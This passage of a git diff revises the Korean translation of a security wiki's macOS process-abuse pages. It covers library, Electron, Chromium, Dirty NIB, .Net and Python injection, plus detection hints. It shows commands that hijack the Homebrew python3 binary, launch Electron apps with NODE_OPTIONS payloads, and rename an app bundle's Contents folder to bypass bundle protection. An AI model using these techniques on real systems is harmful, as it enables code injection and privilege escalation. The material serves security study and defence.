0x4D555458):** 메모리 풋프린트가 60바이트(뮤텍스 56바이트 + 서명 4바이트)인 표준 뮤텍스입니다. -- **빠른 뮤텍스 (서명: 0x4d55545A):** 정상 뮤텍스와 유사하지만 더 빠른 작업을 위해 최적화된 것으로, 크기는 60바이트입니다. +- **일반 뮤텍스 (서명: 0x4D555458):** 메모리 풋프린트가 60바이트(뮤텍스 56바이트 + 서명 4바이트)인 표준 뮤텍스입니다. +- **빠른 뮤텍스 (서명: 0x4d55545A):** 일반 뮤텍스와 유사하지만 더 빠른 작업을 위해 최적화된 뮤텍스이며, 크기는 60바이트입니다. 2. **조건 변수:** - 특정 조건이 발생할 때까지 대기하는 데 사용되며, 크기는 44바이트(40바이트 + 4바이트 서명)입니다. - **조건 변수 속성 (서명: 0x434e4441):** 조건 변수의 구성 속성으로, 크기는 12바이트입니다. @@ -90,9 +90,9 @@ char persona_name[MAXLOGNAME + 1]; ### 스레드 로컬 변수 (TLV) -**스레드 로컬 변수 (TLV)**는 Mach-O 파일(즉, macOS의 실행 파일 형식) 맥락에서 다중 스레드 애플리케이션의 **각 스레드**에 특정한 변수를 선언하는 데 사용됩니다. 이는 각 스레드가 변수의 별도 인스턴스를 가지도록 하여 충돌을 피하고 뮤텍스와 같은 명시적 동기화 메커니즘 없이 데이터 무결성을 유지할 수 있는 방법을 제공합니다. +**스레드 로컬 변수 (TLV)**는 Mach-O 파일(즉, macOS의 실행 파일 형식) 맥락에서 멀티 스레드 애플리케이션의 **각 스레드**에 특정한 변수를 선언하는 데 사용됩니다. 이는 각 스레드가 변수의 별도 인스턴스를 가지도록 하여 충돌을 피하고 뮤텍스와 같은 명시적 동기화 메커니즘 없이 데이터 무결성을 유지할 수 있는 방법을 제공합니다. -C 및 관련 언어에서는 **`__thread`** 키워드를 사용하여 스레드 로컬 변수를 선언할 수 있습니다. 다음은 예제에서 작동하는 방식입니다: +C 및 관련 언어에서는 **`__thread`** 키워드를 사용하여 스레드 로컬 변수를 선언할 수 있습니다. 다음은 귀하의 예에서 작동하는 방식입니다: ```c cCopy code__thread int tlv_var; @@ -105,13 +105,13 @@ tlv_var = 10; Mach-O 바이너리에서 스레드 로컬 변수와 관련된 데이터는 특정 섹션으로 구성됩니다: - **`__DATA.__thread_vars`**: 이 섹션은 스레드 로컬 변수에 대한 메타데이터, 즉 변수의 유형과 초기화 상태를 포함합니다. -- **`__DATA.__thread_bss`**: 이 섹션은 명시적으로 초기화되지 않은 스레드 로컬 변수에 사용됩니다. 이는 제로 초기화된 데이터에 할당된 메모리의 일부입니다. +- **`__DATA.__thread_bss`**: 이 섹션은 명시적으로 초기화되지 않은 스레드 로컬 변수를 위해 사용됩니다. 이는 제로 초기화된 데이터에 할당된 메모리의 일부입니다. Mach-O는 스레드가 종료될 때 스레드 로컬 변수를 관리하기 위해 **`tlv_atexit`**라는 특정 API를 제공합니다. 이 API를 사용하면 스레드가 종료될 때 스레드 로컬 데이터를 정리하는 **소멸자**를 등록할 수 있습니다. ### 스레드 우선순위 -스레드 우선순위를 이해하려면 운영 체제가 어떤 스레드를 언제 실행할지를 결정하는 방식을 살펴봐야 합니다. 이 결정은 각 스레드에 할당된 우선순위 수준에 의해 영향을 받습니다. macOS 및 유닉스 계열 시스템에서는 `nice`, `renice`, QoS(서비스 품질) 클래스와 같은 개념을 사용하여 이를 처리합니다. +스레드 우선순위를 이해하려면 운영 체제가 어떤 스레드를 언제 실행할지를 결정하는 방식을 살펴봐야 합니다. 이 결정은 각 스레드에 할당된 우선순위 수준에 의해 영향을 받습니다. macOS 및 유닉스 계열 시스템에서는 `nice`, `renice`, 품질 서비스(QoS) 클래스와 같은 개념을 사용하여 이를 처리합니다. #### Nice와 Renice @@ -122,7 +122,7 @@ Mach-O는 스레드가 종료될 때 스레드 로컬 변수를 관리하기 위 - `renice`는 이미 실행 중인 프로세스의 nice 값을 변경하는 데 사용되는 명령입니다. 이는 프로세스의 우선순위를 동적으로 조정하는 데 사용될 수 있으며, 새로운 nice 값에 따라 CPU 시간 할당을 증가시키거나 감소시킬 수 있습니다. - 예를 들어, 프로세스가 일시적으로 더 많은 CPU 리소스가 필요하다면 `renice`를 사용하여 nice 값을 낮출 수 있습니다. -#### 서비스 품질(QoS) 클래스 +#### 품질 서비스(QoS) 클래스 QoS 클래스는 특히 **Grand Central Dispatch (GCD)**를 지원하는 macOS와 같은 시스템에서 스레드 우선순위를 처리하는 보다 현대적인 접근 방식입니다. QoS 클래스는 개발자가 작업의 중요성이나 긴급성에 따라 다양한 수준으로 작업을 **분류**할 수 있게 합니다. macOS는 이러한 QoS 클래스를 기반으로 스레드 우선순위를 자동으로 관리합니다: @@ -141,11 +141,11 @@ QoS 클래스를 사용하면 개발자는 정확한 우선순위 숫자를 관 ## MacOS 프로세스 남용 -MacOS는 다른 운영 체제와 마찬가지로 **프로세스가 상호 작용하고, 통신하며, 데이터를 공유하는** 다양한 방법과 메커니즘을 제공합니다. 이러한 기술은 효율적인 시스템 기능에 필수적이지만, 위협 행위자에 의해 **악의적인 활동을 수행하는 데 남용될 수 있습니다.** +MacOS는 다른 운영 체제와 마찬가지로 **프로세스가 상호작용하고, 통신하며, 데이터를 공유하는 다양한 방법과 메커니즘**을 제공합니다. 이러한 기술은 효율적인 시스템 기능에 필수적이지만, 위협 행위자에 의해 **악의적인 활동을 수행하는 데 남용될 수 있습니다.** ### 라이브러리 주입 -라이브러리 주입은 공격자가 **프로세스가 악성 라이브러리를 로드하도록 강제하는** 기술입니다. 주입된 후, 라이브러리는 대상 프로세스의 컨텍스트에서 실행되어 공격자에게 프로세스와 동일한 권한과 접근을 제공합니다. +라이브러리 주입은 공격자가 **프로세스가 악성 라이브러리를 로드하도록 강제하는 기술**입니다. 주입된 후, 라이브러리는 대상 프로세스의 컨텍스트에서 실행되어 공격자에게 프로세스와 동일한 권한과 접근을 제공합니다. {{#ref}} macos-library-injection/ @@ -167,17 +167,17 @@ macos-function-hooking.md macos-ipc-inter-process-communication/ {{#endref}} -### Electron 애플리케이션 주입 +### 전자 애플리케이션 주입 -특정 환경 변수를 사용하여 실행된 Electron 애플리케이션은 프로세스 주입에 취약할 수 있습니다: +특정 환경 변수를 사용하여 실행된 전자 애플리케이션은 프로세스 주입에 취약할 수 있습니다: {{#ref}} macos-electron-applications-injection.md {{#endref}} -### Chromium 주입 +### 크로미움 주입 -`--load-extension` 및 `--use-fake-ui-for-media-stream` 플래그를 사용하여 **브라우저 내 공격**을 수행할 수 있으며, 이를 통해 키 입력, 트래픽, 쿠키를 훔치거나 페이지에 스크립트를 주입할 수 있습니다: +`--load-extension` 및 `--use-fake-ui-for-media-stream` 플래그를 사용하여 **브라우저 내 공격**을 수행하여 키 입력, 트래픽, 쿠키를 훔치고 페이지에 스크립트를 주입할 수 있습니다: {{#ref}} macos-chromium-injection.md @@ -185,15 +185,15 @@ macos-chromium-injection.md ### 더러운 NIB -NIB 파일은 **사용자 인터페이스(UI) 요소**와 애플리케이션 내에서의 상호작용을 정의합니다. 그러나 이들은 **임의의 명령을 실행할 수 있으며** **Gatekeeper는** 수정된 **NIB 파일**이 이미 실행된 애플리케이션을 실행하는 것을 막지 않습니다. 따라서 이들은 임의의 프로그램이 임의의 명령을 실행하도록 만드는 데 사용될 수 있습니다: +NIB 파일은 **사용자 인터페이스(UI) 요소**와 애플리케이션 내에서의 상호작용을 정의합니다. 그러나 이들은 **임의의 명령을 실행할 수 있으며** **Gatekeeper는 이미 실행된 애플리케이션이 수정된 NIB 파일로부터 실행되는 것을 막지 않습니다.** 따라서 이들은 임의의 프로그램이 임의의 명령을 실행하도록 만드는 데 사용될 수 있습니다: {{#ref}} macos-dirty-nib.md {{#endref}} -### Java 애플리케이션 주입 +### 자바 애플리케이션 주입 -특정 Java 기능(예: **`_JAVA_OPTS`** 환경 변수)을 남용하여 Java 애플리케이션이 **임의의 코드/명령을 실행하도록** 만들 수 있습니다. +특정 자바 기능(예: **`_JAVA_OPTS`** 환경 변수)을 남용하여 자바 애플리케이션이 **임의의 코드/명령을 실행하도록** 만들 수 있습니다. {{#ref}} macos-java-apps-injection.md @@ -201,40 +201,40 @@ macos-java-apps-injection.md ### .Net 애플리케이션 주입 -**.Net 디버깅 기능**을 남용하여 .Net 애플리케이션에 코드를 주입할 수 있습니다(이는 macOS 보호(런타임 강화)로 보호되지 않음). +**.Net 디버깅 기능**을 남용하여 .Net 애플리케이션에 코드를 주입할 수 있습니다(이는 macOS 보호 기능(예: 런타임 강화)으로 보호되지 않습니다). {{#ref}} macos-.net-applications-injection.md {{#endref}} -### Perl 주입 +### 펄 주입 -Perl 스크립트가 임의의 코드를 실행하도록 만드는 다양한 옵션을 확인하십시오: +펄 스크립트가 임의의 코드를 실행하도록 만드는 다양한 옵션을 확인하십시오: {{#ref}} macos-perl-applications-injection.md {{#endref}} -### Ruby 주입 +### 루비 주입 -Ruby 환경 변수를 남용하여 임의의 스크립트가 임의의 코드를 실행하도록 만들 수 있습니다: +루비 환경 변수를 남용하여 임의의 스크립트가 임의의 코드를 실행하도록 만들 수 있습니다: {{#ref}} macos-ruby-applications-injection.md {{#endref}} -### Python 주입 +### 파이썬 주입 -환경 변수 **`PYTHONINSPECT`**가 설정되면 Python 프로세스는 완료되면 Python CLI로 떨어집니다. 또한 **`PYTHONSTARTUP`**을 사용하여 대화형 세션 시작 시 실행할 Python 스크립트를 지정할 수 있습니다.\ +환경 변수 **`PYTHONINSPECT`**가 설정되면, 파이썬 프로세스는 완료되면 파이썬 CLI로 드롭됩니다. 또한 **`PYTHONSTARTUP`**을 사용하여 대화형 세션 시작 시 실행할 파이썬 스크립트를 지정할 수 있습니다.\ 그러나 **`PYTHONINSPECT`**가 대화형 세션을 생성할 때 **`PYTHONSTARTUP`** 스크립트는 실행되지 않습니다. -**`PYTHONPATH`** 및 **`PYTHONHOME`**과 같은 다른 환경 변수도 Python 명령이 임의의 코드를 실행하도록 만드는 데 유용할 수 있습니다. +**`PYTHONPATH`** 및 **`PYTHONHOME`**과 같은 다른 환경 변수도 파이썬 명령이 임의의 코드를 실행하도록 만드는 데 유용할 수 있습니다. -**`pyinstaller`**로 컴파일된 실행 파일은 내장 Python을 사용하더라도 이러한 환경 변수를 사용하지 않습니다. +**`pyinstaller`**로 컴파일된 실행 파일은 내장된 파이썬을 사용하더라도 이러한 환경 변수를 사용하지 않습니다. > [!CAUTION] -> 전반적으로 환경 변수를 남용하여 Python이 임의의 코드를 실행하도록 만드는 방법을 찾을 수 없었습니다.\ -> 그러나 대부분의 사람들은 **Homebrew**를 사용하여 Python을 설치하며, 이는 기본 관리자 사용자에게 **쓰기 가능한 위치**에 Python을 설치합니다. 다음과 같은 방법으로 이를 탈취할 수 있습니다: +> 전반적으로 환경 변수를 남용하여 파이썬이 임의의 코드를 실행하도록 만드는 방법을 찾을 수 없었습니다.\ +> 그러나 대부분의 사람들은 **Homebrew**를 사용하여 파이썬을 설치하며, 이는 기본 관리자 사용자에게 **쓰기 가능한 위치**에 파이썬을 설치합니다. 다음과 같은 방법으로 이를 탈취할 수 있습니다: > > ```bash > mv /opt/homebrew/bin/python3 /opt/homebrew/bin/python3.old @@ -246,7 +246,7 @@ macos-ruby-applications-injection.md > chmod +x /opt/homebrew/bin/python3 > ``` > -> 심지어 **root**도 Python을 실행할 때 이 코드를 실행합니다. +> 심지어 **root**도 파이썬을 실행할 때 이 코드를 실행합니다. ## 탐지 @@ -256,12 +256,12 @@ macos-ruby-applications-injection.md - **환경 변수 사용**: 다음 환경 변수 중 하나의 존재를 모니터링합니다: **`DYLD_INSERT_LIBRARIES`**, **`CFNETWORK_LIBRARY_PATH`**, **`RAWCAMERA_BUNDLE_PATH`** 및 **`ELECTRON_RUN_AS_NODE`** - **`task_for_pid`** 호출 사용: 한 프로세스가 다른 프로세스의 **작업 포트**를 얻으려 할 때를 찾습니다. 이는 프로세스에 코드를 주입할 수 있게 합니다. -- **Electron 앱 매개변수**: 누군가 **`--inspect`**, **`--inspect-brk`** 및 **`--remote-debugging-port`** 명령줄 인수를 사용하여 디버깅 모드에서 Electron 앱을 시작하고, 따라서 코드 주입을 할 수 있습니다. -- **심볼릭 링크** 또는 **하드 링크** 사용: 일반적으로 가장 흔한 남용은 **우리 사용자 권한으로 링크를 생성하고**, **더 높은 권한** 위치를 가리키는 것입니다. 탐지는 하드 링크와 심볼릭 링크 모두에 대해 매우 간단합니다. 링크를 생성하는 프로세스의 **권한 수준**이 대상 파일과 다르면 **경고**를 생성합니다. 불행히도 심볼릭 링크의 경우, 생성 전에 링크의 목적지에 대한 정보가 없기 때문에 차단이 불가능합니다. 이는 Apple의 EndpointSecurity 프레임워크의 한계입니다. +- **전자 앱 매개변수**: 누군가 **`--inspect`**, **`--inspect-brk`** 및 **`--remote-debugging-port`** 명령줄 인수를 사용하여 디버깅 모드에서 전자 앱을 시작하고, 따라서 코드 주입을 할 수 있습니다. +- **심볼릭 링크** 또는 **하드 링크** 사용: 일반적으로 가장 흔한 남용은 **우리 사용자 권한으로 링크를 배치하고**, **더 높은 권한** 위치를 가리키는 것입니다. 탐지는 하드 링크와 심볼릭 링크 모두에 대해 매우 간단합니다. 링크를 생성하는 프로세스가 대상 파일과 **다른 권한 수준**을 가지면 **경고**를 생성합니다. 불행히도 심볼릭 링크의 경우, 생성 전에 링크의 목적지에 대한 정보가 없기 때문에 차단이 불가능합니다. 이는 Apple의 EndpointSecurity 프레임워크의 제한입니다. -### 다른 프로세스에서 수행된 호출 +### 다른 프로세스에서 만든 호출 -[**이 블로그 게시물**](https://knight.sc/reverse%20engineering/2019/04/15/detecting-task-modifications.html)에서 **`task_name_for_pid`** 함수를 사용하여 다른 **프로세스가 프로세스에 코드를 주입하는** 방법과 그 다른 프로세스에 대한 정보를 얻는 방법을 찾을 수 있습니다. +[**이 블로그 게시물**](https://knight.sc/reverse%20engineering/2019/04/15/detecting-task-modifications.html)에서 **`task_name_for_pid`** 함수를 사용하여 다른 **프로세스가 프로세스에 코드를 주입하는** 정보를 얻고, 그 다른 프로세스에 대한 정보를 얻는 방법을 찾을 수 있습니다. 이 함수를 호출하려면 **프로세스를 실행하는 것과 동일한 uid**여야 하거나 **root**여야 합니다(그리고 이 함수는 프로세스에 대한 정보를 반환하며, 코드를 주입하는 방법은 아닙니다). diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md index 55acba97b..dcdd0ddf5 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md @@ -12,7 +12,7 @@ 사용자의 **`$TMPDIR`**를 방문하면 .Net 애플리케이션을 디버깅하기 위한 디버깅 FIFO를 찾을 수 있습니다. -[**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259)는 디버거로부터의 통신 관리를 담당합니다. 새로운 디버깅 세션을 시작하려면, 디버거는 `out` 파이프를 통해 `MessageHeader` 구조체로 시작하는 메시지를 전송해야 하며, 이는 .NET 소스 코드에 자세히 설명되어 있습니다: +[**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259)는 디버거로부터의 통신 관리를 담당합니다. 새로운 디버깅 세션을 시작하려면, 디버거는 `MessageHeader` 구조체로 시작하는 메시지를 `out` 파이프를 통해 전송해야 하며, 이는 .NET 소스 코드에 자세히 설명되어 있습니다: ```c struct MessageHeader { MessageType m_eType; // Message type @@ -31,7 +31,7 @@ DWORD m_dwMinorVersion; BYTE m_sMustBeZero[8]; } ``` -새 세션을 요청하기 위해, 이 구조체는 다음과 같이 채워지며, 메시지 유형을 `MT_SessionRequest`로 설정하고 프로토콜 버전을 현재 버전으로 설정합니다: +새 세션을 요청하기 위해 이 구조체는 다음과 같이 채워지며, 메시지 유형을 `MT_SessionRequest`로 설정하고 프로토콜 버전을 현재 버전으로 설정합니다: ```c static const DWORD kCurrentMajorVersion = 2; static const DWORD kCurrentMinorVersion = 0; diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-chromium-injection.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-chromium-injection.md index 1988765b1..2b2a057d9 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-chromium-injection.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-chromium-injection.md @@ -8,11 +8,11 @@ Chromium 기반 브라우저는 Google Chrome, Microsoft Edge, Brave 등입니 #### `--load-extension` 플래그 -`--load-extension` 플래그는 명령줄이나 스크립트에서 Chromium 기반 브라우저를 시작할 때 사용됩니다. 이 플래그는 브라우저 시작 시 **하나 이상의 확장을 자동으로 로드**할 수 있게 해줍니다. +`--load-extension` 플래그는 명령줄이나 스크립트에서 Chromium 기반 브라우저를 시작할 때 사용됩니다. 이 플래그는 브라우저 시작 시 **하나 이상의 확장 프로그램을 자동으로 로드**할 수 있게 해줍니다. #### `--use-fake-ui-for-media-stream` 플래그 -`--use-fake-ui-for-media-stream` 플래그는 Chromium 기반 브라우저를 시작하는 데 사용할 수 있는 또 다른 명령줄 옵션입니다. 이 플래그는 **카메라와 마이크로폰의 미디어 스트림에 접근하기 위한 권한을 요청하는 일반 사용자 프롬프트를 우회**하도록 설계되었습니다. 이 플래그가 사용되면 브라우저는 카메라나 마이크로폰에 접근을 요청하는 모든 웹사이트나 애플리케이션에 자동으로 권한을 부여합니다. +`--use-fake-ui-for-media-stream` 플래그는 Chromium 기반 브라우저를 시작하는 데 사용할 수 있는 또 다른 명령줄 옵션입니다. 이 플래그는 **카메라와 마이크로폰의 미디어 스트림에 접근하기 위한 권한을 요청하는 일반 사용자 프롬프트를 우회**하도록 설계되었습니다. 이 플래그가 사용되면 브라우저는 카메라나 마이크로폰에 대한 접근을 요청하는 모든 웹사이트나 애플리케이션에 자동으로 권한을 부여합니다. ### 도구 diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md index a0fac6769..6d5ea6d48 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md @@ -2,11 +2,11 @@ {{#include ../../../banners/hacktricks-training.md}} -**기술에 대한 자세한 내용은 다음 원본 게시물을 확인하세요:** [**https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/) 및 [**https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/**](https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/) **를 참조하세요.** 다음은 요약입니다: +**기술에 대한 자세한 내용은 다음 원본 게시물을 확인하십시오:** [**https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/) 및 [**https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/**](https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/)**.** 다음은 요약입니다: ### Nib 파일이란 -Nib(NeXT Interface Builder의 약자) 파일은 Apple의 개발 생태계의 일부로, 애플리케이션의 **UI 요소** 및 그 상호작용을 정의하는 데 사용됩니다. 이들은 창 및 버튼과 같은 직렬화된 객체를 포함하며, 런타임에 로드됩니다. 지속적으로 사용되고 있지만, Apple은 이제 더 포괄적인 UI 흐름 시각화를 위해 Storyboards를 권장합니다. +Nib(NeXT Interface Builder의 약자) 파일은 Apple의 개발 생태계의 일부로, 애플리케이션에서 **UI 요소**와 그 상호작용을 정의하는 데 사용됩니다. 이들은 창 및 버튼과 같은 직렬화된 객체를 포함하며 런타임에 로드됩니다. 지속적으로 사용되고 있지만, Apple은 이제 더 포괄적인 UI 흐름 시각화를 위해 Storyboards를 권장합니다. 주요 Nib 파일은 애플리케이션의 `Info.plist` 파일 내의 **`NSMainNibFile`** 값에서 참조되며, 애플리케이션의 `main` 함수에서 실행되는 **`NSApplicationMain`** 함수에 의해 로드됩니다. @@ -16,7 +16,7 @@ Nib(NeXT Interface Builder의 약자) 파일은 Apple의 개발 생태계의 일 1. **초기 설정**: - XCode를 사용하여 새 NIB 파일을 생성합니다. -- 인터페이스에 객체를 추가하고, 그 클래스는 `NSAppleScript`로 설정합니다. +- 인터페이스에 객체를 추가하고 그 클래스는 `NSAppleScript`로 설정합니다. - 사용자 정의 런타임 속성을 통해 초기 `source` 속성을 구성합니다. 2. **코드 실행 가젯**: - 이 설정은 필요에 따라 AppleScript를 실행할 수 있도록 합니다. @@ -48,7 +48,7 @@ display dialog theDialogText ### 코드 샘플: 악성 .xib 파일 -- 임의의 코드를 실행하는 [**악성 .xib 파일 샘플**](https://gist.github.com/xpn/16bfbe5a3f64fedfcc1822d0562636b4)을 접근하고 검토합니다. +- 임의 코드를 실행하는 [**악성 .xib 파일 샘플**](https://gist.github.com/xpn/16bfbe5a3f64fedfcc1822d0562636b4)을 접근하고 검토합니다. ### 다른 예 @@ -61,13 +61,13 @@ display dialog theDialogText ### 추가 macOS 보호 조치 -macOS Sonoma 이후, 앱 번들 내의 수정이 제한됩니다. 그러나 이전 방법은 다음과 같았습니다: +macOS Sonoma 이후로 앱 번들 내 수정이 제한됩니다. 그러나 이전 방법은 다음과 같았습니다: 1. 앱을 다른 위치(예: `/tmp/`)로 복사합니다. -2. 초기 보호를 우회하기 위해 앱 번들 내의 디렉토리 이름을 변경합니다. +2. 초기 보호를 우회하기 위해 앱 번들 내 디렉토리 이름을 변경합니다. 3. Gatekeeper에 등록하기 위해 앱을 실행한 후, 앱 번들을 수정합니다(예: MainMenu.nib를 Dirty.nib로 교체). 4. 디렉토리 이름을 다시 변경하고 앱을 재실행하여 주입된 NIB 파일을 실행합니다. -**참고**: 최근 macOS 업데이트는 Gatekeeper 캐싱 후 앱 번들 내의 파일 수정을 방지하여 이 익스플로잇을 무효화했습니다. +**참고**: 최근 macOS 업데이트는 Gatekeeper 캐싱 후 앱 번들 내 파일 수정을 방지하여 이 익스플로잇을 무효화했습니다. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md index 52b446d54..721731b54 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md @@ -9,10 +9,10 @@ Electron이 무엇인지 모른다면 [**여기에서 많은 정보를 찾을 ### Electron Fuses -이 기술들은 다음에 논의될 것이지만, 최근 Electron은 이를 방지하기 위해 여러 **보안 플래그**를 추가했습니다. 이것들이 바로 [**Electron Fuses**](https://www.electronjs.org/docs/latest/tutorial/fuses)이며, macOS에서 Electron 앱이 **임의의 코드를 로드하는 것을 방지**하는 데 사용되는 것들입니다: +이 기술들은 다음에 논의될 것이지만, 최근 Electron은 이를 방지하기 위해 여러 **보안 플래그**를 추가했습니다. 이것이 [**Electron Fuses**](https://www.electronjs.org/docs/latest/tutorial/fuses)이며, 이는 macOS에서 Electron 앱이 **임의의 코드를 로드하는 것을 방지**하는 데 사용됩니다: -- **`RunAsNode`**: 비활성화되면 코드 주입을 위해 env var **`ELECTRON_RUN_AS_NODE`**의 사용을 방지합니다. -- **`EnableNodeCliInspectArguments`**: 비활성화되면 `--inspect`, `--inspect-brk`와 같은 매개변수가 무시됩니다. 이를 통해 코드 주입을 피할 수 있습니다. +- **`RunAsNode`**: 비활성화되면 코드 주입을 위한 환경 변수 **`ELECTRON_RUN_AS_NODE`**의 사용을 방지합니다. +- **`EnableNodeCliInspectArguments`**: 비활성화되면 `--inspect`, `--inspect-brk`와 같은 매개변수가 존중되지 않습니다. 이를 통해 코드 주입을 피할 수 있습니다. - **`EnableEmbeddedAsarIntegrityValidation`**: 활성화되면 로드된 **`asar`** **파일**이 macOS에 의해 **검증**됩니다. 이 파일의 내용을 수정하여 **코드 주입**을 방지합니다. - **`OnlyLoadAppFromAsar`**: 이 옵션이 활성화되면 다음 순서로 로드하는 대신: **`app.asar`**, **`app`** 및 마지막으로 **`default_app.asar`**. 오직 app.asar만 확인하고 사용하므로, **`embeddedAsarIntegrityValidation`** 퓨즈와 결합할 때 **검증되지 않은 코드를 로드하는 것이 불가능**합니다. - **`LoadBrowserProcessSpecificV8Snapshot`**: 활성화되면 브라우저 프로세스는 `browser_v8_context_snapshot.bin`이라는 파일을 V8 스냅샷으로 사용합니다. @@ -23,7 +23,7 @@ Electron이 무엇인지 모른다면 [**여기에서 많은 정보를 찾을 ### Checking Electron Fuses -애플리케이션에서 **이 플래그들을 확인할 수 있습니다**: +애플리케이션에서 **이 플래그를 확인**할 수 있습니다: ```bash npx @electron/fuses read --app /Applications/Slack.app @@ -46,11 +46,11 @@ macOS 애플리케이션에서는 일반적으로 `application.app/Contents/Fram grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/ Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches ``` -이 파일을 [https://hexed.it/](https://hexed.it/)에서 로드하고 이전 문자열을 검색할 수 있습니다. 이 문자열 뒤에는 각 퓨즈가 비활성화되었는지 활성화되었는지를 나타내는 ASCII 숫자 "0" 또는 "1"이 표시됩니다. 헥스 코드를 수정하여(`0x30`은 `0`이고 `0x31`은 `1`) **퓨즈 값을 수정**할 수 있습니다. +이 파일을 [https://hexed.it/](https://hexed.it/)에서 로드하고 이전 문자열을 검색할 수 있습니다. 이 문자열 다음에 ASCII로 "0" 또는 "1"이라는 숫자가 표시되어 각 퓨즈가 비활성화되었는지 활성화되었는지를 나타냅니다. 헥스 코드를 수정하여(`0x30`은 `0`이고 `0x31`은 `1`) **퓨즈 값을 수정**할 수 있습니다.
-**`Electron Framework`** 바이너리를 이러한 바이트로 수정하여 애플리케이션 내에서 **덮어쓰려** 하면 앱이 실행되지 않습니다. +이 바이트가 수정된 상태에서 애플리케이션 내의 **`Electron Framework`** 바이너리를 **덮어쓰려고** 하면 앱이 실행되지 않는다는 점에 유의하세요. ## RCE 전자 애플리케이션에 코드 추가 @@ -60,11 +60,11 @@ Electron 앱이 사용하는 **외부 JS/HTML 파일**이 있을 수 있으므 > 그러나 현재 2가지 제한 사항이 있습니다: > > - 앱을 수정하려면 **`kTCCServiceSystemPolicyAppBundles`** 권한이 **필요**하므로 기본적으로 더 이상 가능하지 않습니다. -> - 컴파일된 **`asap`** 파일은 일반적으로 퓨즈 **`embeddedAsarIntegrityValidation`** `및` **`onlyLoadAppFromAsar`** `가 활성화되어 있습니다.` +> - 컴파일된 **`asap`** 파일은 일반적으로 퓨즈 **`embeddedAsarIntegrityValidation`** `및` **`onlyLoadAppFromAsar`**가 `활성화`되어 있습니다. > -> 이로 인해 공격 경로가 더 복잡해지거나 불가능해집니다. +> 이 공격 경로를 더 복잡하게(또는 불가능하게) 만듭니다. -**`kTCCServiceSystemPolicyAppBundles`** 요구 사항을 우회하는 것이 가능하다는 점에 유의하십시오. 애플리케이션을 다른 디렉토리(예: **`/tmp`**)로 복사하고 폴더 **`app.app/Contents`**의 이름을 **`app.app/NotCon`**으로 바꾸고, **악성** 코드로 **asar** 파일을 **수정**한 다음 다시 **`app.app/Contents`**로 이름을 바꾸고 실행할 수 있습니다. +**`kTCCServiceSystemPolicyAppBundles`** 요구 사항을 우회하는 것이 가능하다는 점에 유의하세요. 애플리케이션을 다른 디렉토리(예: **`/tmp`**)로 복사하고, 폴더 **`app.app/Contents`**의 이름을 **`app.app/NotCon`**으로 변경한 후, **악성** 코드로 **asar** 파일을 **수정**하고 다시 **`app.app/Contents`**로 이름을 바꾼 후 실행할 수 있습니다. 다음 명령어로 asar 파일에서 코드를 추출할 수 있습니다: ```bash @@ -123,7 +123,7 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/ NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord ``` > [!CAUTION] -> 만약 퓨즈 **`EnableNodeOptionsEnvironmentVariable`** 가 **비활성화** 되어 있다면, 앱은 env 변수 **NODE_OPTIONS** 를 무시하고 실행되며, env 변수 **`ELECTRON_RUN_AS_NODE`** 가 설정되지 않은 경우에도 마찬가지로 **무시** 됩니다. 퓨즈 **`RunAsNode`** 가 비활성화 되어 있다면, 이 변수도 **무시** 됩니다. +> 만약 퓨즈 **`EnableNodeOptionsEnvironmentVariable`** 가 **비활성화** 되어 있다면, 앱은 env 변수 **NODE_OPTIONS** 를 무시하고 실행되며, env 변수 **`ELECTRON_RUN_AS_NODE`** 가 설정되지 않는 한 무시됩니다. 퓨즈 **`RunAsNode`** 가 비활성화 되어 있다면, 이 변수도 **무시** 됩니다. > > **`ELECTRON_RUN_AS_NODE`** 를 설정하지 않으면, 다음과 같은 **오류** 가 발생합니다: `Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.` @@ -155,11 +155,9 @@ NODE_OPTIONS="--require /tmp/payload.js" 